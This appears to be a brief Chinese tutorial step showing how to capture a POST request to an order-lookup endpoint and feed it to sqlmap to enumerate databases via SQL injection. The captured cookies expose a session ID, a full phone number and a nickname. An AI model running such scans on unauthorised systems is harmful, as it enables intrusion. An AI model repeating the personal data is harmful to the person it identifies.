1. 使用抓包工具抓取数据包,sqlmap加载数据包
POST /SME/static/orderFind/orderIntfaceph HTTP/1.1 Host: abc.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: mallcity=11|110; WT_FPC=id=22959b9c257db67a1ce1453356218801:lv=1454489261422:ss=1454489261387; _n3fa_cid=12b169ef230442c4c7ce6d01cecfa2fa; _n3fa_ext=ft=1453356220; _n3fa_lvt_a9e72dfe4a54a20c3d6e671b3bad01d9=1453356220,1454489259,1454502730; _ga=GA1.2.101776521.1453356221; Hm_lvt_9208c8c641bfb0560ce7884c36938d9d=1453356221,1454489262; tempByCityCode=11; piw=%7B%22login_name%22%3A%22186****5736%22%2C%22nickName%22%3A%22%E5%91%A8%E5%BB%B6%E5%B9%B3%22%2C%22rme%22%3A%7B%22ac%22%3A%22%22%2C%22at%22%3A%22%22%2C%22pt%22%3A%2201%22%2C%22u%22%3A%2218631645736%22%7D%2C%22verifyState%22%3A%22%22%7D; BIGipServerPOOL_MALL_SME_WEB_80=454625802.20480.0000; _n3fa_lpvt_a9e72dfe4a54a20c3d6e671b3bad01d9=1454502730; JSESSIONID=v9TJWx1bXlQ2JKxkYLfRhP0Gyy1fnXMVXVGjcgGG4Y291ZCthXqM!1297467854; BIGipServerPOOL_MALL_SME_APP_8001=1008276490.16671.0000 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 105 orderid=null&timel=%E6%89%80%E6%9C%89%E6%97%B6%E9%97%B4&pageNo=1&provinceSelect=%E5%8C%97%E4%BA%AC&type=1
sqlmap.py -r post.txt --dbs